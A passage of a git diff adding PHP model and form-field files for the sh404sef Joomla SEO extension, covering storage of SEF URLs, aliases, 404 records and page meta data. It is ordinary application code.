: '' ); + + return $join; + + } + + protected function _buildListWhere( $options) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // array to hold where clause parts + $where = array(); + + // get the layout options from param + $layout = $this->_getOption( 'layout', $options); + + // various cases of layouts + switch ($layout) { + default: + if (!empty( $this->_sefUrl->oldurl)) { + $where[] = 'u1.' . $this->_db->quoteName('oldurl') . ' = ' + . $this->_db->Quote( $this->_sefUrl->oldurl); + } + break; + } + + // add search all urls term if any + if ( !empty($filters->search_all) ) { // V 1.2.4.q added search URL feature + jimport( 'joomla.utilities.string'); + $searchTerm = $this->_cleanForQuery( JString::strtolower($filters->search_all)); + $where[] = "LOWER(u1.newurl) LIKE '%" . $searchTerm . "%'"; + } + + // components check + if (!empty( $filters->filter_component)) { + $where[] = "LOWER(u1.newurl) LIKE '%option=" . $this->_cleanForQuery( $filters->filter_component ) . "%'"; + } + + // language check + if (!empty( $filters->filter_language)) { + $where[] = "LOWER(u1.newurl) LIKE '%lang=" . $this->_cleanForQuery( $filters->filter_language ) . "%'"; + } + + // custom or automatic ? + if (!empty( $filters->filter_url_type)) { + switch ($filters->filter_url_type) { + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM: + $where[] = 'u1.dateadd <> ' . $this->_db->Quote( '0000-00-00'); + break; + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO: + $where[] = 'u1.dateadd = ' . $this->_db->Quote( '0000-00-00'); + break; + } + } + + // aggregate clauses + $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); + + return $where; + } + + protected function _buildListGroupBy( $options) { + + // build query fragment + $groupBy = ' group by u1.' . $this->_db->quoteName( 'newurl'); + + return $groupBy; + } + + protected function _buildListOrderBy( $options) { + + $orderBy = parent::_buildListOrderBy( $options); + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // always add a secondary sort by SEF urls, unless it is already the primary + if ($filters->filter_order != 'oldurl') { + // build query fragment + $orderBy .= ', ' . $this->_db->quoteName( 'oldurl'); + } + + return $orderBy; + } + + protected function _getTableName() { + + return '#__sh404sef_urls'; + + } + + /** + * Provides context data definition, to be used by context handler + * Should be overriden by descendant + */ + protected function _getContextDataDef() { + + $contextData = parent::_getContextDataDef(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $addedContextData = array( + + // redefined default sort order + array( 'name' => 'filter_order', 'html_name' => 'filter_order', 'default' => 'rank', 'type' => 'string') + + // component used in url + , array( 'name' => 'filter_component', 'html_name' => 'filter_component', 'default' => '', 'type' => 'string') + // show all/only with aliases/only w/o aliases + , array( 'name' => 'filter_alias', 'html_name' => 'filter_alias', 'default' => 0, 'type' => 'int') + // show all/only custom/only automatic + , array( 'name' => 'filter_url_type', 'html_name' => 'filter_url_type', 'default' => 0, 'type' => 'int') + // show all/only one language + , array( 'name' => 'filter_language', 'html_name' => 'filter_language', 'default' => '', 'type' => 'string') + + ); + + return array_merge( $contextData, $addedContextData); + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/editalias.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/editalias.php new file mode 100644 index 00000000..37fa050c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/editalias.php @@ -0,0 +1,136 @@ +_data = is_null( $dataArray) ? JRequest::get('post') : $dataArray; + + // save the non-sef/sef pair data + $savedId = $this->_save(); + + // return savedId of the url, will have + // been set to 0 if something wrong happened + // while saving either url, meta data or aliase + return $savedId; + } + + /** + * Get a list of aliases from their ids, + * passed as params + * + * @param array of integer $ids the list of aliases id to fetch + * @return array of objects as read from db + */ + public function getByIds( $ids = array()) { + + $aliases = array(); + + if (empty($ids)) { + return $aliases; + } + + // select element where id is in list supplied + try { + $aliases = ShlDbHelper::selectObjectList( $this->_getTableName(), array('*'), $this->_db->quoteName( 'id') . ' in (?)', ShlDbHelper::arrayToQuotedList($ids)); + } catch (Exception $e) { + + } + // return result + return $aliases; + } + + /** + * Delete a list of aliases from their ids, + * passed as params + * + * @param array of integer $ids the list of aliases id to delete + * @return boolean true if success + */ + public function deleteByIds( $ids = array()) { + + if (empty($ids)) { + return false; + } + + try { + ShlDbHelper::deleteIn( $this->_getTableName(), 'id', $ids, ShlDbHelper::INTEGER); + } catch (Exception $e) { + $this->setError( 'Internal database error # ' . $e->getMessage()); + return false; + } + + return true; + } + + /** + * Save an alias to the database + * + * @param integer $type force url type, used when saving a custom url + */ + private function _save( $type = Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS) { + + // check for bad data + if (empty( $this->_data['newurl'])) { + return 0; + } + + // get required tools + jimport( 'joomla.database.table'); + $row = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + + // let table save record + $row->save( $this->_data['newurl']); + + // collect errors + $error = $row->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // return what should be a non-zero id + return $row->id; + + } + + /** + * Returns the default full table name on + * which this model operates + */ + protected function _getTableName() { + + return '#__sh404sef_aliases'; + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/editnotfound.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/editnotfound.php new file mode 100644 index 00000000..7f9deb3f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/editnotfound.php @@ -0,0 +1,123 @@ +_data = is_null( $dataArray) ? JRequest::get('post') : $dataArray; + + // save the non-sef/sef pair data + $savedId = $this->_save(); + + // return savedId of the url, will have + // been set to 0 if something wrong happened + // while saving either url, meta data or aliase + return $savedId; + } + + /** + * Read a url object from DB + * + * @param integer $id + */ + public function getUrl( $id) { + + $url = JTable::getInstance( 'urls', 'Sh404sefTable'); + $url->load( $id); + + return $url; + } + + /** + * Save an alias to the database + * + * @param integer $type force url type, used when saving a custom url + */ + private function _save( $type = Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS) { + + // check for bad data + $newUrl = empty($this->_data['newurl']) ? '' : trim($this->_data['newurl']); + $id = empty($this->_data['id']) ? '' : intval($this->_data['id']); + if (empty( $newUrl) || empty($id)) { + return 0; + } + + // read alias, as obtained from original 404 record + $url = JTable::getInstance( 'urls', 'Sh404sefTable'); + $url->load( $id); + // collect errors + $error = $url->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // prepare an alias record to save to db + jimport( 'joomla.database.table'); + $alias = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + $newAlias = array( 'newurl' => $newUrl, 'alias' => $url->oldurl, 'type' => $type); + + // let table save record + $alias->save( $newAlias); + + // collect errors + $error = $alias->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // now delete the page not found record + $url->delete(); + // collect errors + $error = $url->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // return what should be a non-zero id + return $alias->id; + + } + + /** + * Returns the default full table name on + * which this model operates + */ + protected function _getTableName() { + + return '#__sh404sef_aliases'; + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/editurl.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/editurl.php new file mode 100644 index 00000000..50fc1e29 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/editurl.php @@ -0,0 +1,559 @@ +_data = is_null( $dataArray) ? JRequest::get('post') : $dataArray; + + // save the non-sef/sef pair data + $savedId = $this->_saveUrl( $type); + + //now save metas + if( !empty($savedId)) { + $savedId = $this->_saveMetas() ? $savedId : 0; + } + + // now save aliases + if( !empty($savedId)) { + $savedId = $this->_saveAliases() ? $savedId : 0; + } + + // return savedId of the url, will have + // been set to 0 if something wrong happened + // while saving either url, meta data or aliase + return $savedId; + } + + /** + * Get a list of urls from their ids, + * passed as params + * + * @param array of integer $ids the list of url id to fetch + * @return array of objects as read from db + */ + public function getByIds( $ids = array()) { + + $urls = array(); + + if (empty($ids)) { + return $urls; + } + + try { + $whereIds = ShlDbHelper::arrayToIntValList( $ids); + $urls = ShlDbHelper::selectObjectList( $this->_getTableName(), '*', $this->_db->quoteName( 'id') . ' in (' . $whereIds . ')'); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + // return result + return $urls; + } + + /** + * Save an url (not aliases or metas) passed as param + * + * @param $url array holding the various fields of an url + */ + public function saveUrl( $url) { + + // use parent save method to save the url itself, from default values + $this->_data = $url; + $savedId = $this->_saveUrl(); + + // return savedId of the url, will have + // been set to 0 if something wrong happened + // while saving url + return $savedId; + + } + + /** + * Delete a list of urls from their ids, + * passed as params + * + * @param array of integer $ids the list of url id to delete + * @return boolean true if success + */ + public function deleteByIds( $ids = array()) { + + if (empty($ids)) { + return false; + } + + $status = true; + + // build a list of ids to read + $whereIds = ShlDbHelper::arrayToIntValList( $ids); + + // Need to delete urls from db, from cache + // and also make sure the ranking is correct for duplicates + // so we must find the first duplicate (if any) for all + // urls to delete, and set its rank to zero. + // First find about duplicates + $query = 'select r2.*' + . ' from `#__sh404sef_urls` as r1' + . ' join `#__sh404sef_urls` as r2' + . ' on r1.`oldurl` = r2.`oldurl`' + . ' where r1.' . $this->_db->quoteName( 'id') . ' in (' . $whereIds . ')'; + $query .= ' and r2.' . $this->_db->quoteName( 'rank') . ' > 0'; + $query .= ' order by `rank`'; + + // perform query + try { + $this->_db->setQuery( $query); + $duplicates = $this->_db->loadObjectList(); + + // now delete urls from db and cache + $rows = $this->_getNonSefUrls( $ids); + if (!empty( $rows)) { + Sh404sefHelperCache::removeURLFromCache($rows); + } + + // finally, we can simply delete from db by ids + ShlDbHelper::deleteIn( '#__sh404sef_urls', 'id', $ids); + + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError( 'Internal database error ' . $e->getMessage()); + $status = false; + } + + // if successfull, set the new rank 0 duplicate + if( $status && !empty($duplicates)) { + // array to hold ids of urls that should be set to rank=0 + $newMainUrls = array(); + // temporary arrays, holding duplicates grouped by nonsef url + $groupedDuplicates = array(); + // group them by old url + foreach($duplicates as $url) { + $groupedDuplicates[md5($url->oldurl)][] = $url; + } + + // now collect the first url of each group, it + // will have the lowest rank of the bunch as the initial + // db query was ordered by rank asc + foreach( $groupedDuplicates as $urlGroup) { + $newMainUrls[] = $urlGroup[0]->id; + } + + // now we just set the rank column to 0 for the + // selected urls, so as to make them the new main urls + // build a list of ids to read + try { + ShlDbHelper::updateIn( '#__sh404sef_urls', array( 'rank' => 0), 'id', $newMainUrls, ShlDbHelper::INTEGER); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError( 'Internal database error ' . $e->getMessage()); + $status = false; + } + } + + return $status; + } + + /** + * Delete a list of urls from their ids, + * passed as params + * Also delete all duplicates + * + * @param array of integer $ids the list of url id to delete + * @return boolean true if success + */ + public function deleteByIdsWithDuplicates( $ids = array()) { + + if (empty($ids)) { + return true; + } + + // build a list of ids to read + $whereIds = ShlDbHelper::arrayToIntValList( $ids); + + // read urls and their duplicates + $query = 'select r2.id' + . ' from `#__sh404sef_urls` as r1' + . ' join `#__sh404sef_urls` as r2' + . ' on r1.`oldurl` = r2.`oldurl`' + . ' where r1.' . $this->_db->quoteName( 'id') . ' in (' . $whereIds . ')'; + + try { + + // perform query + $this->_db->setQuery( $query); + $urlsIds = $this->_db->loadColumn(); + + // now delete urls from db and cache + $rows = $this->_getNonSefUrls( $urlsIds); + if (!empty( $rows)) { + Sh404sefHelperCache::removeURLFromCache($rows); + } + + // finally, we can simply delete from db by ids + ShlDbHelper::deleteIn( '#__sh404sef_urls', 'id', $urlsIds); + + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError( 'Internal database error # ' . $e->getMessage()); + } + + return true; + } + + /** + * Save an url to the database, updating various elements + * at the same time like ranking of duplicates + * + * @param integer $type force url type, used when saving a custom url + */ + private function _saveUrl( $type = sh404SEF_URLTYPE_AUTO) { + + + // check for homepage handling + if (!empty( $this->_data['newurl']) + && ($this->_data['newurl'] == '/' || $this->_data['newurl'] == sh404SEF_HOMEPAGE_CODE)) { + $this->_saveHomeUrl(); + return sh404SEF_HOMEPAGE_CODE; + } + + // check for importing urls : if importing, rank will already be set in + // incoming data. If saving a url from the UI, rank is never set + // as it is caculated upon saving the url + $importing = isset( $this->_data['rank']); + + // get required tools + jimport( 'joomla.database.table'); + $row = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + + try { + + // now bind incoming data to table row + if (!$row->bind( $this->_data)) { + $this->setError( $row->getError()); + return 0; + } + + // pre-save checks + if (!$row->check()) { + $this->setError( $row->getError()); + return 0; + } + + // find if we are adding a custom or automatic url + $urlType = $row->dateadd == '0000-00-00' ? sh404SEF_URLTYPE_AUTO : sh404SEF_URLTYPE_CUSTOM; + + // override with user supplied + if (!empty( $type)) { + $urlType = $type; + } + + // adjust date added field if needed + $dateString = date("Y-m-d"); + if ($urlType == sh404SEF_URLTYPE_CUSTOM) { + $row->dateadd = $dateString; + } + + // if custom url, and no language string, let's add default one + if ( ($urlType == sh404SEF_URLTYPE_CUSTOM) + && !preg_match( '/(&|\?)lang=[a-zA-Z]{2,3}/iUu', $row->newurl)) { + $shTemp = explode( '-', Sh404sefHelperLanguage::getDefaultLanguageTag()); + $shLangTemp = $shTemp[0] ? $shTemp[0] : 'en'; + $row->newurl .= '&lang='.$shLangTemp; + } + + // normalize the non-sef url representation, sorting query parts alphabetically + $row->newurl = Sh404sefHelperUrl::sortUrl($row->newurl); + + // retrieve previous values of sef and non sef urls + $previousSefUrl = JRequest::getVar( 'previousSefUrl', null, 'POST'); + $previousNonSefUrl = JRequest::getVar( 'previousNonSefUrl', null, 'POST'); + + // if both were set, and nothing has changed, then nothing to do + if (!empty($previousSefUrl) && !empty( $previousNonSefUrl) + && $previousNonSefUrl == $row->newurl + && $previousSefUrl == $row->oldurl) { + // nothing changed ! must be changing meta or aliases + $this->_url = $row; + return $row->id; + } + + // search DB for urls pairs with same SEF url + $query = 'SELECT * FROM #__sh404sef_urls WHERE binary oldurl = ' . $this->_db->Quote( $row->oldurl) . ' ORDER BY rank ASC'; + $this->_db->setQuery($query); + $dbUrlList = $this->_db->loadObjectList(); + + // do we have urls in the db with same SEF ? + if (count($dbUrlList) > 0) { + + // yes we do + // get config object + $sefConfig = Sh404sefFactory::getConfig(); + if (!$sefConfig->shRecordDuplicates) { // we don't allow duplicates : reject this URL + + $this->setError( JText::_('COM_SH404SEF_DUPLICATE_NOT_ALLOWED')); + + } else { // same SEF, but we allow duplicates + + $existingRecord = null; + // importing meta data for instance + foreach ($dbUrlList as $urlInDB) { // same SEF, but is the incoming non-sef in this list of URl with same SEF ? + if ($urlInDB->newurl == $row->newurl) { + $existingRecord = $urlInDB; + $this->setError( JText::_('COM_SH404SEF_URLEXIST')); + } + } + + if (empty( $existingRecord)) { // this new non-sef does not already exists + $shTemp = array('nonSefURL' => $row->newurl); // which means we must update the record for the old non-sef url + Sh404sefHelperCache::removeURLFromCache( $shTemp); // remove the old url from cache + + // then find new rank (as we are adding a duplicate, we add it at the end of the duplicate list) + // but only if not importing. When importing, rank is already set + if (!$importing) { + $row->rank = $dbUrlList[count($dbUrlList)-1]->rank+1; + } + + // store will create a new record if id=0, or update existing if id non 0 + $row->store(); + + // put custom URL in DB and cache + Sh404sefHelperCache::addSefUrlToCache( $row->newurl, $row->oldurl, $urlType); + + // we must add the previous SEF url to the alias list, only if + // - not already there + // - this sef url does not already exists in the DB; which will happen if the url + // being saved was customized and also had duplicates + // TODO this code is duplicated just a few line below, need refactoring + if (!empty($previousSefUrl) && strpos($this->_data['shAliasList'], $previousSefUrl) === false) { + // check if not already a valid SEF url in the DB + $query = 'SELECT count(id) FROM #__sh404sef_urls WHERE binary oldurl = ' . $this->_db->Quote( $previousSefUrl); + $this->_db->setQuery($query); + $isThere = $this->_db->loadResult(); + if (empty( $isThere)) { + $this->_data['shAliasList'] .= $previousSefUrl. "\n"; + } + } + + } else { + // there is already a record with both this sef and non sef. + // just do nothing but return success (ie: record id). + // Later, controller may store new aliases or metas + // This should never happen when saving regular data as we added + // a check for this case earlier + // May happen when importing though + $this->_url = $row; + return $row->id; + } + + // additional step : if we are here, it may be because we have modified + // an existing url, and specifically changed it sef value to something else + // Now it may be that this record was the one with rank = 0 in a series + // of duplicate urls. If so, the urls which was ranked above must now become + // the main url, having rank = 0 + // note : when importing, we don't enter this test as previousSefUrl is empty + // TODO this code is duplicated just a few line below, need refactoring + if (!empty( $previousSefUrl) && $previousSefUrl != $row->newurl) { + // search for the old #2 record in duplicate list + $query = 'SELECT id FROM #__sh404sef_urls WHERE binary oldurl = ' . $this->_db->Quote( $previousSefUrl) . ' ORDER BY rank ASC'; + $this->_db->setQuery($query); + $previousRanked2 = $this->_db->loadObject(); + + // there was more than one duplicate in the same series, promote #2 to top spot + if (!empty($previousRanked2)) { + $query = 'UPDATE #__sh404sef_urls SET rank="0" WHERE id = '. $this->_db->Quote( $previousRanked2->id); + $this->_db->setQuery($query); + $this->_db->execute(); + } + } + + } + + } else { // there is no URL with same SEF URL, we are customizing an existing SEF url + + $shTemp = array('nonSefURL' => $row->newurl); + Sh404sefHelperCache::removeURLFromCache( $shTemp); // remove it from cache + + // simply store URL. If there is already one with same non-sef, this will raise an error in store() + // as we don't allow creating a custom url for an already existing non-sef. User should + // directly edit the existing non-sef/sef pair + if (!$row->check()) { + $this->setError( $row->getError()); + return 0; + } + + if (!$row->store()) { + $this->setError( $row->getError()); + return 0; + } + + // add also to cache if saved to db + Sh404sefHelperCache::addSefUrlToCache( $row->newurl, $row->oldurl, $urlType); + + // we must add the previous SEF url to the alias list, only if + // - not already there + // - this sef url does not already exists in the DB; which will happen if the url + // begin saved was customized and also had duplicates + // note : when importing, we don't enter this test as previousSefUrl is empty + if (!empty($previousSefUrl) && strpos($this->_data['shAliasList'], $previousSefUrl) === false) { + // check if not already a valid SEF url in the DB + $query = 'SELECT count(id) FROM #__sh404sef_urls WHERE binary oldurl = ' . $this->_db->Quote( $previousSefUrl); + $this->_db->setQuery($query); + $isThere = $this->_db->loadResult(); + if (empty( $isThere)) { + $this->_data['shAliasList'] .= $previousSefUrl. "\n"; + } + } + + // finally, also check db for urls with same sef as previous SEF if any. We need + // to search for the first duplicate of this old sef, and set it to be + // the new main url + // note : when importing, we don't enter this test as previousSefUrl is empty + if (!empty( $previousSefUrl) && $previousSefUrl != $row->newurl) { + // search for the old #2 record in duplicate list + $query = 'SELECT id FROM #__sh404sef_urls WHERE binary oldurl = ' . $this->_db->Quote( $previousSefUrl) . ' ORDER BY rank ASC'; + $this->_db->setQuery($query); + $previousRanked2 = $this->_db->loadObject(); + + // there was more than one duplicate in the same series, promote #2 to top spot + if (!empty($previousRanked2)) { + ShlDbHelper::update( '#__sh404sef_urls', array( 'rank' => 0), array( 'id' => $previousRanked2->id)); + } + } + } + + // store saved url object + $this->_url = $row; + + // return what should be a non-zero id + return $this->_url->id; + + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError( $e->getMessage()); + return 0; + } + + } + + + private function _saveHomeUrl() { + + // get required tools + jimport( 'joomla.database.table'); + $url = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + + // build a fake url record + $url->newurl = sh404SEF_HOMEPAGE_CODE; + + // store it for future usage when saving meta and aliases + $this->_url = $url; + + } + + private function _saveMetas() { + + // get a meta model object + $model = ShlMvcModel_Base::getInstance( 'metas', 'Sh404sefModel'); + + // buil an array with metas input + $this->_data['newurl'] = is_object( $this->_url) ? $this->_url->newurl : $this->_data['newurl']; + $this->_data['id'] = $this->_data['meta_id']; + + // ask model to save the data + $status = $model->save( $this->_data); + + if (!$status) { + $this->setError( $model->getError()); + } + + return $status; + } + + + /** + * Save aliases entered by user to the db + * overwriting existing ones + * + */ + private function _saveAliases() { + + if(!isset($this->_data['shAliasList'])) { + return true; + } + + // get an aliases model object + $model = ShlMvcModel_Base::getInstance( 'aliases', 'Sh404sefModel'); + + // ask it to save the data + $newUrl = is_object( $this->_url) ? $this->_url->newurl : ''; + $status = $model->saveFromInput( $this->_data['shAliasList'], $newUrl); + + if (!$status) { + $this->setError( $model->getError()); + } + + return $status; + + } + + /** + * Read urls from db and returns an array + * of non-sef urls, as needed currently + * by the cache class for deletion operation + * + * @param array of integer $ids + */ + private function _getNonSefUrls( $ids) { + + $nonSefUrls = array(); + + $rawUrls = $this->getByIds( $ids); + + if (!empty( $rawUrls)) { + foreach( $rawUrls as $url) { + $nonSefUrls[] = $url->newurl; + } + } + + return $nonSefUrls; + } + + /** + * Returns the default full table name on + * which this model operates + */ + protected function _getTableName() { + + return '#__sh404sef_urls'; + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/index.html new file mode 100644 index 00000000..640bda4a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlegend.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlegend.php new file mode 100644 index 00000000..e3e18820 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlegend.php @@ -0,0 +1,66 @@ +$name; + break; + } + + $value = parent::__get( $name); + return $value; + } + + public function getInput() { + + return ''; + } + + public function getLabel() { + + return '' . JText::_($this->element['label']) . ''; + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlibpluginlink.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlibpluginlink.php new file mode 100644 index 00000000..20e2b3fa --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlibpluginlink.php @@ -0,0 +1,89 @@ +$name; + break; + } + + $value = parent::__get($name); + return $value; + } + + /** + * Method to get the field input markup. + * + * @return string The field input markup. + */ + protected function getInput() + { + $text = JText::_('COM_SH404SEF_CONFIGURE_SHLIB_PLUGIN'); + $link = '' . $text . ''; + return $link; + + $html = ''; + $class = $this->element['class'] ? (string) $this->element['class'] : ''; + + // Build the class for the label. + $class = !empty($this->description) ? 'hasTip' : ''; + $class = $this->required == true ? $class . ' required' : $class; + + // Add the opening label tag and main attributes attributes. + $field = '
    description)) + { + $label .= ' title="' + . htmlspecialchars(trim($text, ':') . '::' . ($this->translateDescription ? JText::_($this->description) : $this->description), + ENT_COMPAT, 'UTF-8') . '"'; + } + + // Add the label text and closing tag. + $label .= ">"; + $field .= '>' . $link . '
    '; + $html[] = $field; + + return implode('', $html); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlist.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlist.php new file mode 100644 index 00000000..26263e09 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlist.php @@ -0,0 +1,53 @@ +$name; + break; + } + + $value = parent::__get($name); + return $value; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/models/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/metas.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/metas.php new file mode 100644 index 00000000..618cf71b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/metas.php @@ -0,0 +1,316 @@ +_db = ShlDbHelper::getDb(); + $row = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + + // only save if there is actually some metas data + // at least on new records + $metas = ''; + foreach($dataArray as $key => $value) { + if($key != 'meta_id' && (substr( $key, 0,4) == 'meta' || substr($key, 0, 3) == 'fb_' || substr( $key, 0, 3) == 'og_' || substr( $key, 0, 13) == 'twittercards_' || $key == 'canonical')) { + $metas .= $value; + } + } + + // if there is no meta data entered, and this is an existing record, delete it, or at least do not save + if(!empty($metas) && $metas == SH404SEF_OPTION_VALUE_USE_DEFAULT.SH404SEF_OPTION_VALUE_USE_DEFAULT.SH404SEF_OPTION_VALUE_USE_DEFAULT.SH404SEF_OPTION_VALUE_USE_DEFAULT.SH404SEF_OPTION_VALUE_USE_DEFAULT.SH404SEF_OPTION_VALUE_USE_DEFAULT) { + if(!empty($dataArray['meta_id'])) { + // there is an existing record, meta data was cleared by user, we can delete the record altogether + try { + ShlDbHelper::delete('#__sh404sef_metas', array( 'id' => $dataArray['meta_id'])); + return true; + } catch ( Exception $e) { + $this->setError( $e->getMessage()); + return false; + } + } + // in any case, don't save anything + return true; + } + + if(empty( $metas) && empty( $dataArray['meta_id'])) { + // avoid creating a new (and empty) record when savnig a record from the "metas" page + // where we're editing several records at a time + // This would pass the test just above, because we do not have any values for fb_*, og_*, etc + // fields as we're only editing title and description + return true; + } + + $status = true; + + // load pre-existing values + if(!empty($dataArray['meta_id'])) { + $status = $row->load( $dataArray['meta_id']); + } + + // attach incoming data to table object + $status = $status && $row->bind( $dataArray ); + + // add language code if missing, except on home page + if ( $status && $row->newurl != sh404SEF_HOMEPAGE_CODE && // don't add on homepage + !preg_match( '/(&|\?)lang=[a-zA-Z]{2,3}/iuU', $row->newurl)) { + // no lang string, let's add default + $shTemp = explode( '-', Sh404sefHelperLanguage::getDefaultLanguageTag()); + $shLangTemp = $shTemp[0] ? $shTemp[0] : 'en'; + $row->newurl .= '&lang='.$shLangTemp; + + } + + // sort url params, except on home page + if ( $status && $row->newurl != sh404SEF_HOMEPAGE_CODE) { + $row->newurl = Sh404sefHelperUrl::sortUrl($row->newurl); + } + + // pre-save checks + $status = $status && $row->check(); + + // save the changes + $status = $status && $row->store(); + + // store error message + if (!$status) { + $error = $row->getError(); + $this->setError( $error); + } + + // return true if no error + $errors = $this->getError(); + return empty( $errors); + + } + + /** + * Save an array of metadata records + * typycally coming from user entry + * on the meta data list page + * + * @param array of objects $dataSet the data, with each object holding a record + */ + public function SaveSet( $dataSet) { + + if (empty($dataSet)) { + $this->setError( 'No data to save'); + return; + } + + foreach( $dataSet as $dataRecord) { + $status = $this->save( $dataRecord); + } + + return $status; + } + + /** + * Count meta data records + * either all of them or the currently selected set + * as per user filter settings in meta manager + * + * @param string $type either 'all' or 'selected' + */ + public function getMetaRecordsCount( $type) { + + switch (strtolower( $type)) { + + // we want to read all automatic urls (include duplicates) + case 'all': + try { + $numberOfMetaRecords = ShlDbHelper::count( $this->_getTableName(), '*'); + } catch (Exception $e) { + $numberOfMetaRecords = 0; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + break; + + // we want to read urls as per current selection input fields + // ie : component, language, custom, ... + case 'selected': + // get model and update context with current + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + + // use current filters for default layout of metas manager + $context = $model->updateContext( $this->_context . '.' . 'default'); + + // read url data from model + $list = $model->getList( (object) array('layout' => 'default', 'getMetaData' => true)); + + $numberOfMetaRecords = 0; + // just count urls with some meta data + if (!empty($list)) { + foreach ($list as $urlRecord) { + if (!empty( $urlRecord->metas)) { + $numberOfMetaRecords++; + } + } + } + break; + + default: + $numberOfMetaRecords = 0; + break; + } + + return intval( $numberOfMetaRecords); + } + + /** + * Purge meta data records from the database + * either all of them or the currently selected set + * as per user filter settings in meta manager + * + * @param string $type either 'all' or 'selected' + */ + public function purgeMetas( $type) { + + // make sure we use latest user state + $this->_updateContextData(); + + // call the appropriate sub-method to get the db query + $methodName = '_getPurgeQuery' . ucfirst($type); + if (is_callable( array( $this, $methodName))) { + $deleteQuery = $this->$methodName(); + } else { + $this->setError( 'Invalid method call _purge ' . $type); + return; + } + + // then run the query + if (!empty( $deleteQuery)) { + try { + $this->_db->setQuery( $deleteQuery); + $this->_db->execute(); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError( 'Internal database error ' . $e->getMessage()); + } + // reset limit and limitstart variables, to avoid + // issue when displaying again results + $this->_setState( 'limitstart', 0); + $this->_setState( 'limit', 0); + + } else { + $this->setError( JText::_('COM_SH404SEF_NORECORDS')); + } + + } + + /** + * Construct select statement, for use + * by getList() controller method + * @param unknown_type $options + */ + protected function _buildListWhere( $options) { + + // array to hold where clause parts + $where = array(); + + // are we reading metas for one specific url ? + $newurl = $this->_getOption( 'newurl', $options); + if (!empty( $newurl)) { + $where[] = 'newurl = ' . $this->_db->Quote( $newurl); + } + + // aggregate clauses + $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); + + return $where; + } + + protected function _buildListOrderBy( $options) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // build query fragment + $orderBy = ' order by ' . $this->_db->quoteName( 'newurl'); + $orderBy .= ' ' . $filters->filter_order_Dir; + + return $orderBy; + } + + + /** + * Delete all automatically generated url records + * from database and cache + */ + private function _getPurgeQueryAll() { + + // delete from database + $query = 'truncate ' . $this->_db->quoteName( $this->_getTableName()); + + return $query; + } + + private function _getPurgeQuerySelected() { + + // get model and update context with current + $model = 